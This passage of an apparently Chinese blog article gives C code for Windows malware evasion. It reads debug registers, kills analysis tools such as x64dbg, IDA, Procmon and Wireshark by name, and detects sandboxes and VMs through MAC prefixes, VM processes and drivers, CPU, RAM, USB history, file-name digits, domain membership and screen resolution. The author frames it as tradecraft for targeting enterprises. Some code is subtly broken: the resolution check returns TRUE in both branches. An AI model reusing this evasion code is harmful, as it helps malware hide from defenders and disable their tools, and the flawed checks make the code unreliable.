    CheckDebuggerPresence();  // 调用自定义反调试函数，检查当前进程是否被调试
}

ContextLogRegisters

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>      // 标准输入输出库，提供输入输出函数，如 printf 和 scanf。
#include <Windows.h>    // Windows API 头文件，提供大多数 Windows 操作系统功能的访问，如窗口管理和进程控制。

// 检查当前线程是否被调试
BOOL IsThreadBeingDebugged() {
    CONTEXT Ctx;  // 定义一个 CONTEXT 结构体变量，用于保存线程的上下文信息。
    Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;  // 设置 CONTEXT 标志，只获取调试寄存器的信息。

    // 获取当前线程的上下文信息，包括调试寄存器
    if (!GetThreadContext(GetCurrentThread(), &Ctx)) {
        // 如果获取失败，打印错误消息并显示错误代码（使用 GetLastError() 获取）
        printf("\t\n [!] 获取线程上下文失败，错误代码：0x%lu \n", GetLastError());
        return FALSE;  // 返回 FALSE，表示操作失败或没有调试器附加。
    }

    // 检查调试寄存器 Dr0, Dr1, Dr2, Dr3 是否被设置
    if (Ctx.Dr0 != NULL || Ctx.Dr1 != NULL || Ctx.Dr2 != NULL || Ctx.Dr3 != NULL) {
        // 如果有任意一个寄存器不为空，说明有硬件断点被设置
        printf("[+] 已在以下地址设置硬件断点：\n\t Dr0 地址：0x%llx \n\t Dr1 地址：0x%llx \n\t Dr2 地址：0x%llx \n\t Dr3 地址：0x%llx\n", Ctx.Dr0, Ctx.Dr1, Ctx.Dr2, Ctx.Dr3);
        printf("[+] 当前线程正在被调试\n");  // 打印信息，表示线程正在被调试。
        return TRUE;  // 返回 TRUE，表示当前线程正在被调试。
    }
    else {
        // 否则，表示没有调试器附加或没有设置硬件断点
        printf("[-] 没有设置硬件断点\n");  // 打印信息，表示没有硬件断点。
        return FALSE;  // 返回 FALSE，表示没有调试器附加。
    }
}

int main() {
    IsThreadBeingDebugged();  // 调用函数以检查当前线程是否被调试。
}

终止分析工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include <stdio.h>      // 标准输入输出库，提供输入输出函数，如 printf 和 scanf。
#include <Windows.h>    // Windows API 头文件，提供大多数 Windows 操作系统功能的访问，如窗口管理和进程控制。
#include <tlhelp32.h>   // 提供工具帮助函数，允许对系统快照进行操作，如进程和线程枚举。

// 检测并终止特定名称的进程
BOOL TerminateDebuggingProcess(WCHAR* procname) {
    BOOL processTerminated = FALSE;  // 初始化标志，用于跟踪是否成功终止了任何进程。

    // 创建一个进程快照，用于枚举当前系统中的所有进程。
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        printf("[!] 创建进程快照错误: %lu\n", GetLastError());  // 输出错误信息。
        return TRUE;  // 返回 TRUE 表示未能成功创建快照。
    }

    PROCESSENTRY32 pe;  // 定义 PROCESSENTRY32 结构来存储进程信息。
    pe.dwSize = sizeof(PROCESSENTRY32);  // 设置结构大小。
    BOOL res = Process32First(hSnapshot, &pe);  // 获取第一个进程的信息。

    while (res) {  // 遍历所有进程。
        if (!wcscmp(pe.szExeFile, procname)) {  // 比较进程名称。
            printf("[+] 找到进程 %ls 正在运行，PID: %u\n", procname, pe.th32ProcessID);  // 输出找到的进程信息。

            HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);  // 尝试打开进程。
            if (hProcess) {
                if (TerminateProcess(hProcess, 0)) {  // 尝试终止进程。
                    printf("\t[+] 成功终止进程 %ls\n", procname);  // 输出成功信息。
                    processTerminated = TRUE;  // 更新标志为 TRUE。
                }
                else {
                    printf("[!] 终止进程 %ls 失败: %lu\n", procname, GetLastError());  // 输出失败信息。
                }
                CloseHandle(hProcess);  // 关闭进程句柄。
            }
            else {
                printf("[!] 打开进程 %ls 句柄失败: %lu\n", procname, GetLastError());  // 输出打开句柄失败的信息。
            }
        }
        res = Process32Next(hSnapshot, &pe);  // 获取下一个进程的信息。
    }

    CloseHandle(hSnapshot);  // 关闭快照句柄。
    return processTerminated;  // 返回是否成功终止过任何进程。
}

int main() {
    // 定义一个二维数组，包含需要检测和终止的进程名称。
    WCHAR t[][18] = {
        { 'x','6','4','d','b','g','.','e','x','e','\0' }, // x64dbg
        { 'i','d','a','.','e','x','e','\0' },             // IDA
        { 'i','d','a','6','4','.','e','x','e','\0' },     // IDA 64-bit
        { 'p','e','s','t','u','d','i','o','.','e','x','e','\0' }, // PEStudio
        { 'P','r','o','c','e','s','s','H','a','c','k','e','r','.','e','x','e','\0' }, // Process Hacker
        { 'P','r','o','c','m','o','n','.','e','x','e','\0' }, // Procmon
        { 'P','r','o','c','m','o','n','6','4','.','e','x','e','\0'}, // Procmon 64-bit
        { 'p','r','o','c','e','x','p','.','e','x','e','\0' }, // Process Explorer
        { 'p','r','o','c','e','x','p','6','4','.','e','x','e','\0' }, // Process Explorer 64-bit
        { 'w','i','r','e','s','h','a','r','k','.','e','x','e','\0' } // Wireshark
    };

    int numElements = sizeof(t) / sizeof(t[0]);  // 计算数组中进程名称的数量。
    BOOL anyFailure = FALSE;  // 初始化标志，用于跟踪是否有任何进程终止失败。

    for (int i = 0; i < numElements; i++) {  // 遍历每个进程名称。
        if (!TerminateDebuggingProcess(t[i])) {  // 尝试终止指定名称的进程。
            anyFailure = TRUE;  // 如果终止失败，更新标志。
        }
    }

    if (anyFailure) {  // 如果有任何终止失败的进程。
        printf("\n某些进程终止失败\n");  // 输出失败信息。
    }

    return 0;  // 返回 0 表示程序执行完毕。
}

常规手段

检查语言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <Windows.h>
#include <stdio.h>

// 检查系统的用户界面语言是否是非中文
bool checkLan() {
    // 获取当前用户默认的UI语言标识符
    LANGID langId = GetUserDefaultUILanguage();

    // 检查语言ID的主要语言部分是否为中文
    if (PRIMARYLANGID(langId) == LANG_CHINESE) {
        return false; // 如果是中文，返回false
    }
    else {
        return true;  // 如果不是中文，返回true
    }
}

int main() {
    // 调用 checkLan 函数并根据返回值输出对应信息
    if (checkLan()) {
        printf("The system's UI language is not Chinese.\n");
    }
    else {
        printf("The system's UI language is Chinese.\n");
    }

    return 0;
}

检查用户名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <Windows.h>
#include <stdio.h>
#include <Lmcons.h>
// 检查当前用户是否名为 "admin"
bool checkAdminUser() {
    wchar_t userName[UNLEN + 1];
    DWORD userNameSize = UNLEN + 1;

    // 获取当前计算机用户名
    if (GetUserNameW(userName, &userNameSize)) {
        wprintf(L"Current User: %s\n", userName);

        // 检查用户名是否为"admin"
        if (wcscmp(userName, L"admin") == 0) {
            return false; // 用户名是 "admin"
        }
        else {
            return true;  // 用户名不是 "admin"
        }
    }
    else {
        wprintf(L"Error getting user name. Error code: %d\n", GetLastError());
        return false; // 如果无法获取用户名，返回 false
    }
}

int main() {
    if (checkAdminUser()) {
        printf("The current user is not 'admin'.\n");
    }
    else {
        printf("The current user is 'admin'.\n");
    }

    return 0;
}

检查开机时间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <Windows.h>
#include <stdio.h>

// 检查系统的开机时间是否少于10分钟
bool checkStartTime() {
    // 获取系统自启动以来的运行时间（毫秒）
    ULONG uptime = GetTickCount();

    // 检查运行时间是否少于10分钟（10分钟 = 10 * 60秒 = 600秒 = 600,000毫秒）
    if (uptime >= 10 * 60 * 1000) {
        return false; // 开机时间大于等于10分钟，返回 false
    } else {
        return true;  // 开机时间少于10分钟，返回 true
    }
}

int main() {
    // 调用 checkStartTime 函数并根据返回值输出对应信息
    if (checkStartTime()) {
        printf("The system has been up for less than 10 minutes.\n");
    } else {
        printf("The system has been up for 10 minutes or more.\n");
    }

    return 0;
}

检查MAC地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <Windows.h>
#include <string>

// 使用#pragma comment指令链接Netapi32.lib库
#pragma comment(lib, "Netapi32.lib")
using namespace std;

// 定义适配器状态结构和名称缓冲区结构
typedef struct _ASTAT_ {
    ADAPTER_STATUS adapt;
    NAME_BUFFER NameBuff[30];
} ASTAT, * PASTAT;

// 获取MAC地址的前三个字节并存储为字符串
void get_3part_mac(string& mac) {
    NCB Ncb;
    ASTAT Adapter;
    UCHAR uRetCode;
    LANA_ENUM lenum;
    memset(&Ncb, 0, sizeof(Ncb));
    Ncb.ncb_command = NCBENUM;
    Ncb.ncb_buffer = (UCHAR*)&lenum;
    Ncb.ncb_length = sizeof(lenum);
    uRetCode = Netbios(&Ncb);

    if (uRetCode != NRC_GOODRET) {
        printf("Netbios枚举调用失败，错误代码: %d\n", uRetCode);
        return;
    }

    for (int i = 0; i < lenum.length; i++) {
        memset(&Ncb, 0, sizeof(Ncb));
        Ncb.ncb_command = NCBRESET;
        Ncb.ncb_lana_num = lenum.lana[i];
        uRetCode = Netbios(&Ncb);

        if (uRetCode != NRC_GOODRET) {
            printf("Netbios重置调用失败，错误代码: %d\n", uRetCode);
            continue;
        }

        memset(&Ncb, 0, sizeof(Ncb));
        Ncb.ncb_command = NCBASTAT;
        Ncb.ncb_lana_num = lenum.lana[i];
        strcpy_s((char*)Ncb.ncb_callname, sizeof(Ncb.ncb_callname), "*");
        Ncb.ncb_buffer = (unsigned char*)&Adapter;
        Ncb.ncb_length = sizeof(Adapter);
        uRetCode = Netbios(&Ncb);

        if (uRetCode == NRC_GOODRET) {
            char tmp[128];
            sprintf_s(tmp, sizeof(tmp), "%02x-%02x-%02x",
                Adapter.adapt.adapter_address[0],
                Adapter.adapt.adapter_address[1],
                Adapter.adapt.adapter_address[2]
            );
            mac = tmp;
            return;
        }
        else {
            printf("Netbios状态调用失败，错误代码: %d\n", uRetCode);
        }
    }
}

// 检查是否在虚拟机环境中运行
BOOL CheckMacAddress() {
    string mac;
    get_3part_mac(mac);

    if (mac == "00-05-69" || mac == "00-0c-29" || mac == "00:1C:14" || mac == "00-50-56" ||
        mac == "00-03-ff" || mac == "08-00-27") {
        return TRUE;
    }
    else {
        return FALSE;
    }
}

int main() {
    if (CheckMacAddress()) {
        printf("检测到虚拟机或安全工具环境。\n");
    }
    else {
        printf("未检测到虚拟机或安全工具环境。\n");
    }
    return 0;
}

检查进程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>

// 检查进程列表中是否存在特定进程
BOOL CheckSpecificProcesses(WCHAR* procname) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        printf("[!] Error: Failed to create process snapshot: %ld\n", GetLastError());
        return FALSE;
    }

    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);
    BOOL res = Process32First(hSnapshot, &pe);

    while (res) {
        if (!wcscmp(pe.szExeFile, procname)) {
            printf("[+] Found process %ls is running，PID: %u\n", procname, pe.th32ProcessID);
            CloseHandle(hSnapshot);
            return TRUE;
        }
        res = Process32Next(hSnapshot, &pe);
    }

    CloseHandle(hSnapshot);
    return FALSE;  // 未找到进程，返回 FALSE
}
int main() {
    // 定义一个二维数组，包含需要检测和终止的进程名称。
    WCHAR t[][18] = {
        { 'v','m','w','a','r','e','.','e','x','e','\0' }, // vmware.exe
        { 'v','m','t','o','o','l','s','d','.','e','x','e','\0' },             // Vmtoolsd.exe
        { 'v','m','w','a','r','e','t','r','a','t','.','e','x','e','\0'},     // Vmwaretrat.exe
        { 'v','m','w','a','r','e','u','s','e','r','.','e','x','e','\0' }, // Vmwareuser.exe
        { 'v','b','o','x','s','e','r','v','i','c','e','.','e','x','e','\0' }, // vboxservice.exe
        { 'v','b','o','x','t','r','a','y','.','e','x','e','\0'}, // vboxtray.exe
        { 'v','m','a','c','t','h','l','p','.','e','x','e','\0'}, // Vmacthlp.exe
    };

    int numElements = sizeof(t) / sizeof(t[0]);

    for (int i = 0; i < numElements; i++) {
        if (CheckSpecificProcesses(t[i])) {
            // 可以在这里添加找到了进程后的处理逻辑
        }
    }

    return 0;
}

检查CPU

可以使用GetSystemInfo进行CPU 检查。此函数返回⼀个SYSTEM_INFO结构，其中包含有关系统的信息，包括处理器数量.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <Windows.h>

BOOL CheckCPU() {
    // 初始化 SYSTEM_INFO 结构体，用于存储系统信息
    SYSTEM_INFO SysInfo = { 0 };
    // 调用 Windows API 获取系统信息并存储在 SysInfo 中
    GetSystemInfo(&SysInfo);

    // 打印处理器核心数量
    printf("Number of processors: %u\n", SysInfo.dwNumberOfProcessors);

    // 检查处理器核心数量是否小于 2
    if (SysInfo.dwNumberOfProcessors < 2) {
        printf("Warning: System is using less than 2 processors.\n");
        return TRUE; // 可能是虚拟化环境，返回 TRUE
    }

    return FALSE; // 处理器核心数量正常，返回 FALSE
}

int main() {
    // 检查系统的处理器核心数量
    if (CheckCPU()) {
        printf("The system is potentially running in a virtualized environment.\n");
    }
    else {
        printf("The system is likely running on physical hardware.\n");
    }
    return 0;
}

检查RAM

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <Windows.h>

BOOL CheckRAM() {
    MEMORYSTATUSEX MemStatus;
    MemStatus.dwLength = sizeof(MEMORYSTATUSEX);

    // 调用 Windows API 函数 GlobalMemoryStatusEx 获取系统内存使用情况
    if (!GlobalMemoryStatusEx(&MemStatus)) {
        printf("\n\t[!] GlobalMemoryStatusEx Failed With Error: %d \n", GetLastError());
        return FALSE; // 获取内存信息失败，返回 FALSE
    }

    // 打印总物理内存的大小
    printf("Total Physical Memory: %llu bytes\n", MemStatus.ullTotalPhys);

    // 检查总物理内存是否小于或等于 2GB
    if (MemStatus.ullTotalPhys <= (2ULL * 1073741824ULL)) { // 2 * 1024^3 = 2GB
        printf("Warning: System has 2GB or less of RAM.\n");
        return TRUE; // 可能是虚拟化环境，返回 TRUE
    }

    return FALSE; // 内存大小正常，返回 FALSE
}

int main() {
    // 检查系统的内存大小
    if (CheckRAM()) {
        printf("The system is potentially running in a virtualized environment.\n");
    }
    else {
        printf("The system likely has sufficient physical RAM.\n");
    }

    return 0;
}

检查USB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <Windows.h>

BOOL CheckUSB() {
    HKEY hKey = NULL;          // 用于存储打开的注册表项句柄
    DWORD dwUsbNumber = 0;     // 用于存储 USB 设备数量
    DWORD dwRegErr = 0;        // 用于存储注册表操作的错误代码

    // 打开注册表项以获取 USB 存储设备的枚举信息
    dwRegErr = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Enum\\USBSTOR", 0, KEY_READ, &hKey);
    if (dwRegErr != ERROR_SUCCESS) {
        printf("\n\t[!] RegOpenKeyExA Failed With Error: %d | 0x%0.8X \n", dwRegErr, dwRegErr);
        return FALSE; // 打开注册表项失败时返回 FALSE
    }

    // 查询注册表项的子项数量，即 USB 存储设备的数量
    dwRegErr = RegQueryInfoKeyA(hKey, NULL, NULL, NULL, &dwUsbNumber, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
    if (dwRegErr != ERROR_SUCCESS) {
        printf("\n\t[!] RegQueryInfoKeyA Failed With Error: %d | 0x%0.8X \n", dwRegErr, dwRegErr);
        RegCloseKey(hKey); // 确保在失败时关闭注册表项句柄
        return FALSE;      // 查询失败时返回 FALSE
    }

    // 打印检测到的 USB 数量
    printf("Number of USB devices previously mounted: %u\n", dwUsbNumber);

    // 如果之前挂载的 USB 设备少于 2 个，则可能是虚拟化环境
    if (dwUsbNumber < 2) {
        printf("Warning: Less than 2 USB devices previously mounted.\n");
        RegCloseKey(hKey); // 关闭注册表项句柄
        return TRUE;       // 返回 TRUE 表示可能是虚拟化环境
    }

    RegCloseKey(hKey); // 关闭注册表项句柄
    return FALSE;      // 返回 FALSE 表示正常环境
}

int main() {
    // 检查系统的 USB 设备数量
    if (CheckUSB()) {
        printf("The system is potentially running in a virtualized environment.\n");
    }
    else {
        printf("The system has a normal number of USB devices.\n");
    }

    return 0;
}

检查文件名

沙箱通常会将文件重命名为⼀种分类方法(例如，将其重命名为其 MD5 哈希)。此过程通常会导致一个包含字母和数字混合的任意文件名.

如果文件名中包含的数字超过 3 个，则ExeDigitsInNameCheck将假定它位于沙箱中并返回 TRUE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <Windows.h>
#include <shlwapi.h> // 包含 PathFindFileNameA 函数的头文件
#include <ctype.h>   // 包含 isdigit 函数的头文件

#pragma comment(lib, "Shlwapi.lib") // 链接 Shlwapi 库

BOOL ExeDigitsInNameCheck() {
    CHAR Path[MAX_PATH * 3];  // 用于存储完整路径的缓冲区
    CHAR cName[MAX_PATH];     // 用于存储文件名的缓冲区
    DWORD dwNumberOfDigits = 0; // 用于计数文件名中的数字个数

    // 获取当前模块（可执行文件）的完整路径
    if (!GetModuleFileNameA(NULL, Path, MAX_PATH * 3)) {
        printf("\n\t[!] GetModuleFileNameA Failed With Error : %d \n", GetLastError());
        return FALSE; // 获取失败，返回 FALSE
    }

    // 获取文件名（从完整路径中提取）
    LPCSTR fileName = PathFindFileNameA(Path);
    printf("文件名为:%s\n", fileName);
    // 防止缓冲区溢出，确保文件名长度在 MAX_PATH 之内
    if (lstrlenA(fileName) < MAX_PATH) {
        lstrcpyA(cName, fileName); // 将文件名复制到 cName 缓冲区中
    }
    else {
        return FALSE; // 文件名过长，返回 FALSE
    }

    // 遍历文件名中的每个字符，统计数字的个数
    for (int i = 0; i < lstrlenA(cName); i++) {
        if (isdigit(cName[i])) {
            dwNumberOfDigits++; // 如果是数字，计数器加一
        }
    }

    // 如果文件名中的数字个数超过 3，则返回 TRUE
    if (dwNumberOfDigits > 3) {
        return TRUE;
    }

    return FALSE; // 否则返回 FALSE
}

int main() {
    // 检查当前可执行文件名中的数字个数
    if (ExeDigitsInNameCheck()) {
        printf("Filename contains more than 3 digits.\n");
    }
    else {
        printf("Filename contains 3 or fewer digits.\n");
    }
    return 0;
}

检查DLLS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
#include <Windows.h>
#include <io.h>

// 检测是否存在指定的沙箱相关的 DLL
bool checkSandboxDlls() {
    // 定义已知的与沙箱相关的 DLL 名称列表
    const wchar_t* dllNames[] = {
        L"C:\\windows\\System32\\Drivers\\Vmmouse.sys",
        L"C:\\windows\\System32\\Drivers\\vmtray.dll",
        L"C:\\windows\\System32\\Drivers\\VMToolsHook.dll",
        L"C:\\windows\\System32\\Drivers\\vmmousever.dll",
        L"C:\\windows\\System32\\Drivers\\vmhgfs.dll",
        L"C:\\windows\\System32\\Drivers\\vmGuestLib.dll",
        L"C:\\windows\\System32\\Drivers\\VBoxMouse.sys",
        L"C:\\windows\\System32\\Drivers\\VBoxGuest.sys",
        L"C:\\windows\\System32\\Drivers\\VBoxSF.sys",
        L"C:\\windows\\System32\\Drivers\\VBoxVideo.sys",
        L"C:\\windows\\System32\\vboxdisp.dll",
        L"C:\\windows\\System32\\vboxhook.dll",
        L"C:\\windows\\System32\\vboxoglerrorspu.dll",
        L"C:\\windows\\System32\\vboxoglpassthroughspu.dll",
        L"C:\\windows\\System32\\vboxservice.exe",
        L"C:\\windows\\System32\\vboxtray.exe",
        L"C:\\windows\\System32\\VBoxControl.exe",
        L"C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe",
        L"C:\\Program Files\\Common Files\\VMware\\Drivers\\mouse\\Win8\\vmmousever.dll"
    };

    int numElements = sizeof(dllNames) / sizeof(dllNames[0]);

    for (int i = 0; i < numElements; i++) {
        if (_waccess(dllNames[i], 0) == 0) {
            wprintf(L"Detected sandbox-related DLL: %s\n", dllNames[i]);
            return true;
        }
    }
    return false;
}

int main() {
    if (checkSandboxDlls()) {
        printf("Sandbox environment detected.\n");
    }
    else {
        printf("No sandbox environment detected.\n");
    }
    return 0;
}

检查域环境

由于我们通常针对企业环境，因此可以假设用户的计算机是域的成员。让我们检查机器的域加入状态：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <Windows.h>
#include <lm.h>

#pragma comment(lib, "Netapi32.lib")

BOOL checkDomain() {
    PWSTR domainName = NULL;
    NETSETUP_JOIN_STATUS status;
    NET_API_STATUS nStatus;

    nStatus = NetGetJoinInformation(NULL, &domainName, &status);

    if (nStatus != NERR_Success) {
        printf("Failed to get join information. Error: %lu\n", nStatus);
        return FALSE;  // 返回FALSE，表示无法确定域状态
    }

    BOOL notInDomain = (status != NetSetupDomainName);

    if (notInDomain) {
        printf("The computer is not joined to a domain.\n");
    } else {
        wprintf(L"The computer is joined to the domain: %s\n", domainName);
    }

    if (domainName != NULL) {
        NetApiBufferFree(domainName);
    }

    return notInDomain;
}

int main() {
    if (checkDomain()) {
        printf("The computer is not in a domain.\n");
    } else {
        printf("The computer is in a domain.\n");
    }

    return 0;
}

检查屏幕分辨率

虚拟化环境很少使用多个监视器（尤其是沙箱）。虚拟显示器也可能具有非典型的屏幕尺寸（特别是当安装到主机屏幕但不是全屏模式时-请注意带有栏和选项卡的管理程序窗口）。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <windows.h>
#include <stdio.h>

// 如果没有定义 PROCESS_DPI_AWARENESS，则手动定义它
#ifndef PROCESS_DPI_AWARENESS
typedef enum {
    PROCESS_DPI_UNAWARE = 0,
    PROCESS_SYSTEM_DPI_AWARE = 1,
    PROCESS_PER_MONITOR_DPI_AWARE = 2
} PROCESS_DPI_AWARENESS;
#endif
// 设置应用程序为 DPI 感知（兼容 Windows 8.1 及以下）
void SetDpiAwareness() {
    // 在 Windows 8.1 及以上使用 SetProcessDpiAwareness
    HMODULE shcore = LoadLibraryA("Shcore.dll");
    if (shcore) {
        typedef HRESULT(WINAPI* SetProcessDpiAwarenessFunc)(PROCESS_DPI_AWARENESS);
        SetProcessDpiAwarenessFunc setDpiAwareness =
            (SetProcessDpiAwarenessFunc)GetProcAddress(shcore, "SetProcessDpiAwareness");

        if (setDpiAwareness) {
            setDpiAwareness((PROCESS_DPI_AWARENESS)PROCESS_PER_MONITOR_DPI_AWARE);
        }

        FreeLibrary(shcore);
    }
    else {
        // 在 Windows 8 及更早版本使用 SetProcessDPIAware
        HMODULE user32 = LoadLibraryA("user32.dll");
        if (user32) {
            typedef BOOL(WINAPI* SetProcessDPIAwareFunc)();
            SetProcessDPIAwareFunc setDPIAware =
                (SetProcessDPIAwareFunc)GetProcAddress(user32, "SetProcessDPIAware");

            if (setDPIAware) {
                setDPIAware();
            }

            FreeLibrary(user32);
        }
    }
}

BOOL CheckResolution() {
    SetDpiAwareness(); // 设置应用程序为 DPI 感知

    // 获取主显示器的水平和垂直分辨率
    int xResolution = GetSystemMetrics(SM_CXSCREEN);
    int yResolution = GetSystemMetrics(SM_CYSCREEN);

    // 检查显示器分辨率是否符合预期的典型值
    if ((xResolution != 1920 && xResolution != 2560 && xResolution != 1440 && xResolution != 3200 && xResolution != 3840)
        || (yResolution != 1080 && yResolution != 1200 && yResolution != 1600 && yResolution != 900 && yResolution != 1800 && yResolution != 2160))
    {
        printf("Unexpected resolution: %d x %d\n", xResolution, yResolution);
        return TRUE;
    }
    else {
        printf("Resolution is as expected: %d x %d\n", xResolution, yResolution);
        return TRUE;
    }

}

int main() {
    if (CheckResolution()) {
        printf("Sandbox environment detected.\n");
    }
    else {
        printf("No sandbox environment detected.\n");
    }
    return 0;
}
许可协议

本文由 kill3r 原创,采用 署名-非商业性使用-相同方式共享 4.0 国际 许可协议，转载请注明出处。

分享文章

快来参与讨论吧~